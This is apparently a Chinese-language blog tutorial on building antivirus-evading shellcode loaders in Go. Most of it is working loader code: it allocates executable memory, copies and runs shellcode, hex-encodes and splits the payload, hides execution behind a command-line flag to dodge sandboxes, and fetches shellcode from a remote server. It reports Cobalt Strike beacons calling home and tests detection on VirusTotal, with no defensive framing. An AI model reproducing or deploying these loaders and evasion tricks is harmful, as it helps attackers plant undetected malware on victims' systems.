GO静态免杀初探
Go加載器
網上找的Go加載器,最簡單的免殺就是將shellcode加密解密,或者遠程加載shellcode。
package mainimport ("syscall""unsafe" )const (MEM_COMMIT = 0x1000MEM_RESERVE = 0x2000PAGE_EXECUTE_READWRITE = 0x40 )var (kernel32 = syscall.MustLoadDLL("kernel32.dll")ntdll = syscall.MustLoadDLL("ntdll.dll")VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") )func main() {xor_shellcode := []byte{0xfc, 0x48, 0x83, ...}addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)if err != nil && err.Error() != "The operation completed successfully." {syscall.Exit(0)}_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))if err != nil && err.Error() != "The operation completed successfully." {syscall.Exit(0)}syscall.Syscall(addr, 0, 0, 0, 0)}shellcode加密解密
簡單的加密解密,可以把byte[]類型的shellcode->16進制字符串,Go代碼如下。【網絡安全學習攻略】
package mainimport ("bytes""encoding/hex""fmt" )func main() {//將[]byte -> string(16進制)shellcode := []byte{0xfc,0x48,0x83, ...}s := hex.EncodeToString(shellcode)fmt.Println(s)///將string(16進制) -> []bytedecode, _ := hex.DecodeString(s)shellcode2 := decodefmt.Println(shellcode2)//比較[]byte類型的 shellcode shellcode2是否相等fmt.Println(bytes.Compare(shellcode2, shellcode))}cs生成.c格式文件。
用如下python腳本,可以直接轉化string(16進制)
然后替換到加載器上。
package mainimport ("encoding/hex""syscall""unsafe" )const (MEM_COMMIT = 0x1000MEM_RESERVE = 0x2000PAGE_EXECUTE_READWRITE = 0x40 )var (kernel32 = syscall.MustLoadDLL("kernel32.dll")ntdll = syscall.MustLoadDLL("ntdll.dll")VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")code = "fc4883e4f0e8c..."//16進制字符串代碼 )func main() {decode, _ := hex.DecodeString(code)xor_shellcode := decodeaddr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)if err != nil && err.Error() != "The operation completed successfully." {syscall.Exit(0)}_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))if err != nil && err.Error() != "The operation completed successfully." {syscall.Exit(0)}syscall.Syscall(addr, 0, 0, 0, 0)}這樣子還是不行的,可以把shellcode變量拆分成幾個變量再拼接,再加上參數執行,避免上傳到殺軟時直接執行,cs上線一堆…
package mainimport ("encoding/hex""syscall""unsafe""flag" )const (MEM_COMMIT = 0x1000MEM_RESERVE = 0x2000PAGE_EXECUTE_READWRITE = 0x40 )var (kernel32 = syscall.MustLoadDLL("kernel32.dll")ntdll = syscall.MustLoadDLL("ntdll.dll")VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")code = "fc4883e4f0e8c8000000415141505"code2 = "251564831d265488b5260488b5218488b5220488b725")func main() {code3 := "0480fb74a4a4d31c94831c0ac3c617c022c2..."decode, _ := hex.DecodeString(code+code2+code3)xor_shellcode := decodeaddr, _, _ := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)//demo.exe -c runvar c stringargs := flag.String("c", "寶寶巴士", "執行")flag.Parse()c = *argsif c == "run" {_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))syscall.Syscall(addr, 0, 0, 0, 0)}}我這里使用的go build編譯大小近2m,vt殺毒?!?strong>網絡安全學習攻略】
執行demo.exe -c run, cs上線
遠程加載shellcode
使用resty庫,一個遠程讀取txt文本例子。
package mainimport ("fmt""github.com/go-resty/resty/v2")func main() {client := resty.New() resp, _ := client.R().EnableTrace().Get("http://127.0.0.1/1.txt")str := resp.Body()body := string(str)fmt.Println(body) }go build 編譯后大小近7m。
使用go的net/http包,一個遠程讀取txt文本例子。
go build 編譯后大小近6m。
思路將16進制字符串的shellcode上傳到服務器1.txt,加載器內使用net/http包遠程加載shellcode?!?strong>網絡安全學習攻略】
go build編譯后,vt殺毒測試
總結
加密方便有待加強,使用Base64、凱撒密碼等,偽動態加密shellcode,遠程下載可以把文件分到幾個文本上讀取,也可也一半編碼在加載器一半遠程讀取,最好的還是自己寫加載器,不過需要二進制基礎。
關注私我,獲取【網絡安全學習攻略】
總結
- 上一篇: 【安全工具】projectdiscove
- 下一篇: 【CTF大赛】100步getshell之